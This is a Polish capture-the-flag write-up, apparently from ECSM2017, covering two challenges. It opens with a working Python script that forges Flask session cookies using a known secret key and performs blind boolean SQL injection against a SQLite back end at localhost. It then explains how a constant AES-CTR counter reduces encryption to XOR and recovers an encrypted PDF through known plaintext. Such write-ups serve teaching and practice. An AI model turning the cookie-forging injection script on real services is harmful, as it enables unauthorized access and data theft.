Cały atak można zapisać w formie prostego skryptu w języku Python:

from flask import Flask, session
from flask.sessions import SecureCookieSessionInterface

app = Flask("example")
app.secret_key = "lz2fhklkScDccJbseN3E"
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

import sys
import requests

url = "http://localhost:5000/"

def query(payload):
    session = {'id':payload}
    r = requests.get(url=url, cookies={'session':session_serializer.dumps(session)})
    if(r.text.find("display: none") == -1):
        return 0
    else:
        return 1

def queryLetter(payload):
    b = ""
    for i in range(8):
        b += str(query(payload.format(str(i))))
    print(b[::-1])
    return (int(b[::-1], 2))

out = ""
for i in range(1, 100):
    # Znalezienie tabeli/kolumny
    # letter = queryLetter("a' or (unicode(SUBSTR((SELECT name FROM sqlite_master WHERE type='table' limit 1 offset 2),"+str(i)+", 1)) >> {} & 1);--")

    letter = queryLetter("a' or (unicode(SUBSTR((SELECT * FROM this_doesnt_look_like_a_table_with_flag),"+str(i)+", 1)) >> {} & 1);--")

    if not letter:
        break

    out += chr(letter)

print(out)

Przepełnienie Stosu

Zadanie

W założeniu było to proste zadanie – być może nawet najprostsze zadanie na ECSM2017.

Dostajemy zaszyfrowany plik oraz informację, że został zaszyfrowany kodem znajdującym się pod adresem: https://github.com/WillyWu0201/CryptorRandomFile/blob/master/PyCrypto_AES_256_CTR.py.

Jako twórcy zadania ryzykowaliśmy trochę linkując do źródła którego nie kontrolowaliśmy. Na szczęście właściciel nie zdecydował się złośliwie podmienić go podczas konkursu, ale na wszelki wypadek na przyszłośc kopiujemy je poniżej:

# -*- coding: utf-8 -*-

from __future__ import absolute_import, division, unicode_literals

import os
from Crypto.Cipher import AES

_IV = os.urandom(16) # 產生隨機亂數IV
_KEY = os.urandom(32) # 設定Key
_COUNTER = os.urandom(16)
_BlockSize = AES.block_size # Block Size

#padding
_Pad = lambda s: s + (_BlockSize - len(s) % _BlockSize) * chr(_BlockSize - len(s) % _BlockSize)
_Unpad = lambda s : s[0:-ord(s[-1])]

# 使用CTR加密
def aes_encrypt(data):
    cryptor = AES.new(_KEY, AES.MODE_CTR, counter=lambda: _COUNTER)
    return cryptor.encrypt(_Pad(data))

# 使用CTR解密
def aes_decrypt(data):
    cryptor = AES.new(_KEY, AES.MODE_CTR, counter=lambda: _COUNTER)
    return _Unpad(cryptor.decrypt(data))

# encrypt = aes_encrypt('encrypt this CTR 123123213122131213')
# print (encrypt)
# decrypt = aes_decrypt(encrypt)
# print (decrypt)

Analiza

Jak widać, mamy tu funkcje służące do szyfrowania i deszyfrowania AES-em.

AES jest mocnym algorytmem szyfrowania, a tryb CTR jest równie dobry (albo lepszy) niż stary dobry CBC.

W dodatku stałe są losowane w bezpieczny sposób, więc ataki na słabą losowośc odpadają:

_IV = os.urandom(16) # 產生隨機亂數IV
_KEY = os.urandom(32) # 設定Key
_COUNTER = os.urandom(16)

Na pierwszy rzut oka może więc wydawać się że zadanie jest nierozwiązywalne albo dramatycznie trudne – nie jest jednak tak źle!

Ponieważ jeśli ktoś jest zaznajomiony (albo przekartkuje artykuł na Wikipedii) z trybem CTR, prawdopodobnie od razu wyda mu się podejrzany fragment:

# 使用CTR加密
def aes_encrypt(data):
    cryptor = AES.new(_KEY, AES.MODE_CTR, counter=lambda: _COUNTER)
    return cryptor.encrypt(_Pad(data))

counter to dziwny element API PyCrypto – ten parametr to funkcja która powinna zwracać za każdym razem kolejną wartość licznika (po szczegóły trybu CTR odsyłamy do Wikipedii). Ważne jest to, żeby nigdy nie powtarzała się wartośc zwracana przez tą funkcję dla jednego klucza. A tymczasem w tym przykładzie funkcja counter zwraca zawsze tę samą wartość (16 bajtów wylosowane na początku programu)! Jest to ważne, bo, jak wynika z działania metory CTR:

Jeśli licznik powtórzy się chociaż raz, to całe szyfrowanie sprowadza się do przeprowadzenia operacji xor.

Atak

Pozostaje pytanie, jak złamać takie szyfrowanie z operacją xor.

Wiemy (albo raczej – możemy się domyśleć z rozszerzenia) że zaszyfrowany został plik pdf. Pliki pdf mają dość charaketerystyczny nagłówek. Konkretnie, stałe jest:

%PDF-<numer-wersji>
%

Czyli na przykład:

%PDF-1.4
%

(Zamiast 4 zdarzają się inne pomniejsze wersje – w zadaniu była wersja 1.4 co można było np. zgadnąć, albo poprawić później)

Czyli szesnastkowo: 25 50 44 46 2d 31 2e 34 0a 25.

Jako że cały ciphertext jest wynikiem operacji xor z 16bajtowym kluczem, nazwijmy:

    • pt0 – pierwsze 16 bajtów tekstu
    • ct0 – pierwsze 16 bajtów zaszyfrowanych danych

Wiemy więc że pt0 ^ klucz = ct0.

Co więcej, generalizuje się to dalej, np:

    • pt1 – plaintekst od 16 do 32 bajta
    • ct1 – zaszyfrowane dane od 16 do 32 bajta
    • pt1 ^ klucz = ct1

itd.

Gdybyśmy mieli cały klucz, moglibyśmy banalnie odzyskać cały plaintext przekształcając te równania:

pt0 = ct0 ^ klucz
pt1 = ct1 ^ klucz

Niestety nie mamy całego klucza, ale możemy odzyskać jego początek! Bo dalej przekształacając równanie:

pt0 ^ ct0 = klucz

Więc jeśli znamy pierwsze X bajtów ciphertextu i plaintextu (a znamy), to znamy też pierwsze bajty klucza.

Można w ten sposób odzyskać klucz i spróbować coś zdeszyfrować – spróbujmy napisać kod:

# -*- coding: utf-8 -*-

import sys

def blocks(data, n):
    """ split data to n-byte chunks """
    return [data[i*n:(i+1)*n] for i in range(len(data)/n)]

def safe(string):
    """ replace non-printable characters with dot '.' """
    return ''.join(c if 32 <= ord(c) < 0x7f else '.' for c in string)

def xor(a, b):
    """ xor 'a' and 'b' messages with each other """
    return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b))

def main():
    data = open(sys.argv[1], 'rb').read()
    prefix = "255044462d312e340a25".decode('hex')
    prefix = prefix + '\x00' * (16 - len(prefix))  # pad prefix to 16 bytes
    chunks = blocks(data, 16)

    key = xor(chunks[0], prefix)

    for chunk in chunks[:10]: # decrypt first 10 chunks
         print safe(xor(chunk, key))


if __name__ == '__main__':
    main()

I sprawdźmy wynik:

╰─$ python decrypt.py output.pdf.enc
%PDF-1.4.%......
 0 obj.<</....~^
r (Mozilla....*m
(X11; Linu....<n
64\) Apple....cE
/537.36 \(....F.
 like Geck....IY
rome/61.0.....$.
00 Safari/....9.
)./Produce....aX

Doskonale, pierwsze bajty faktycznie zostały poprawnie zdeszyfrowane! Niestety, dalej jest ciężko. Ale możemy tę linię rozumowania pociągnąć dalej. Np. w bloku (X11; Linu....<n dość łatwo się domyślić że kolejnym znakiem będzie x z Linux, a w like Geck....IY kolejnym znakiem będzie o jak Gecko – a po nich pewnie spacja. Z tego możemy wyliczyć kolejne bajty klucza i ponownie uruchomić algorytm:

%PDF-1.4.%......
 0 obj.<</Cr..~^
r (Mozilla/5..*m
(X11; Linux ..<n
64\) AppleWe..cE
/537.36 \(KH..F.
 like Gecko\..IY
rome/61.0.31..$.
00 Safari/53..9.
)./Producer ..aX

Ty, razem na przykład rzuca się w oczy 64\) AppleWe..cE który może być tylko AppleWebKitem. To już wystarczy do odzyskania pełnego klucza, i pełnego pliku pdf.